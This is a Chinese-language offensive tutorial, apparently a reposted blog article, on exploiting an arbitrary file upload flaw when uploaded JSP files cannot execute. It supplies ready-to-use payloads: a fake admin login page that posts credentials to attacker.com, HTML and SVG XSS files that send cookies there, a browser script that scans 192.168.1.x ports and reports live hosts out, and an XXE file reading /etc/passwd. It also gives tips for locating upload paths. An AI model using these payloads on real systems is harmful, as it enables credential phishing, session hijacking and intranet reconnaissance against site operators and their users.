??? 無法執行 JSP 時,如何高效利用任意文件上傳漏洞
?? 漏洞背景
目標系統存在任意文件上傳漏洞,攻擊者可以上傳任意類型的文件,包括 .jsp
、.html
、.js
等。但:
.jsp
雖可上傳,但 無法執行(可能情況:Web 服務器不解析 JSP、權限限制、文件路徑未知等)。- 不能依賴傳統的 WebShell 方式上線或執行命令。
那么,此時我們還能做什么呢?以下是完整的實戰指南。
?? 核心目標
即使無法執行服務器端腳本,任意文件上傳仍具備以下潛力:
- 輔助其他漏洞鏈構建(如 XSS、LFI、XXE 等)
?? 利用方式與可行性分析
1. 上傳 HTML + JS 頁面誘導訪問(釣魚攻擊)
思路: 上傳惡意 HTML 頁面,誘導管理員點擊訪問,執行 JS 代碼,實現 XSS、信息收集或內網探測。
示例:上傳誘導頁面 login.html
<!-- fake_admin_login.html -->
<html>
<body>
<h2>后臺登錄已超時,請重新登錄</h2>
<form action="http://attacker.com/collect" method="POST">
用戶名:<input name="user"><br>
密碼:<input type="password" name="pass"><br>
<input type="submit" value="登錄">
</form>
</body>
</html>
利用方式:
- 發送釣魚鏈接到管理員或目標用戶(如:
https://target.com/uploads/login.html
)
2. 注入型 HTML/JS 頁面 -> XSS 腳本執行
思路: 上傳帶有 XSS Payload 的 .html
, .svg
, .js
文件,誘導訪問即觸發腳本。
示例:xss.html
<html>
<body>
<script>
fetch("http://attacker.com/collect?cookie=" + document.cookie);
</script>
<h1>加載中...</h1>
</body>
</html>
利用方式:
- 訪問鏈接誘導管理員點擊(或目標系統自動加載 HTML 頁面如日志、圖像、文檔)
- 自動發送管理員 Cookie 給攻擊者,實現后臺會話劫持
3. SVG 文件 XSS 利用(繞過限制)
思路: SVG 是合法圖像格式,支持嵌入腳本,可繞過部分上傳限制系統。
示例:xss.svg
<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://attacker.com/log?c='+document.cookie)">
<circle cx="100" cy="100" r="50" fill="blue"/>
</svg>
利用方式:
- 如果有“文件預覽”、“圖像查看”功能,管理員點擊查看時即被觸發
4. 利用上傳文件進行內網信息收集(誘導掃描)
思路: 上傳 JS 頁面誘導用戶瀏覽器請求內網地址,攻擊者據此確認內網結構。
示例:intranet_scan.html
<script>
const ports = [80, 8080, 5000, 8000];
const subnet = "192.168.1.";
for (let i = 1; i <= 254; i++) {
ports.forEach(port => {
let target = `http://${subnet}${i}:${port}`;
fetch(target, { mode: 'no-cors' }).then(() => {
fetch("http://attacker.com/log?host=" + encodeURIComponent(target)); // 結果返回
});
});
}
</script>
利用方式:
- 攻擊者服務器接收成功請求,獲得內網 IP 存活資產
5. 惡意 XML / JSON 文件觸發 XXE / 配置注入
思路: 某些系統會解析上傳的 XML/JSON 文件,若未安全配置,可能觸發 XXE 或 JSON 配置注入。
示例:evil.xml
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM"file:///etc/passwd">
]>
<root>&xxe;</root>
利用方式:
6. 文件覆蓋 / 配置污染(需路徑可控)
思路: 若上傳路徑可控或服務端目錄結構可探測,嘗試覆蓋配置文件、JS 文件、日志文件等。
比如:
- 覆蓋 Nginx 配置或 Spring YAML 配置(若應用會加載上傳的配置)
?? 如何獲取文件真實路徑
1. 響應內容回顯分析
大多數文件上傳接口在上傳成功后會返回響應信息,其中可能包含如下內容:
- 文件的訪問路徑(絕對或相對)
{"url":"/upload/imgs/abc.jpg"}
- 存儲路徑或文件名
{"filePath":"C:\\web\\uploads\\abc.jsp"}
- 上傳后的文件名(可用于拼接路徑)
{"file":"abc.jsp"}
?? 建議:詳細分析響應體中的 JSON、HTML、Headers,尤其是如 url
、path
、location
字段。
2. 功能頁面自動引用上傳文件
有些上傳功能會直接在前端頁面或后端邏輯中使用上傳的文件,例如:
?? 建議:
- 上傳文件后觀察是否有圖片、音頻、PDF 等自動加載;
- 監聽是否有新請求發起,URL 中可能就含有真實路徑;
- 若返回
img src
、iframe
、object
標簽,路徑常嵌入其中。
3. 路徑猜解與探測(信息有限時)
若以上兩種方式都失敗,就只能根據已有線索猜測路徑或進行探測。例如:
- 通常可猜測訪問路徑可能為
/static/upload/image/xxx.png
- 使用目錄掃描工具(如
dirsearch
)配合上傳文件名進行路徑爆破。
?? 注意:猜測路徑時盡量使用時間戳、UUID、用戶ID等組合邏輯,還可結合源碼、JS、路徑泄漏等輔助信息。
?? 總結
- 盡量從業務功能角度多思考上傳的文件,如何被使用、包含或處理
- 善用 HTML + JS 組合的誘導和信息獲取能力
- 一旦能訪問上傳文件,釣魚 + XSS 是最快獲取權限的方式之一
閱讀原文:原文鏈接
該文章在 2025/5/6 12:14:05 編輯過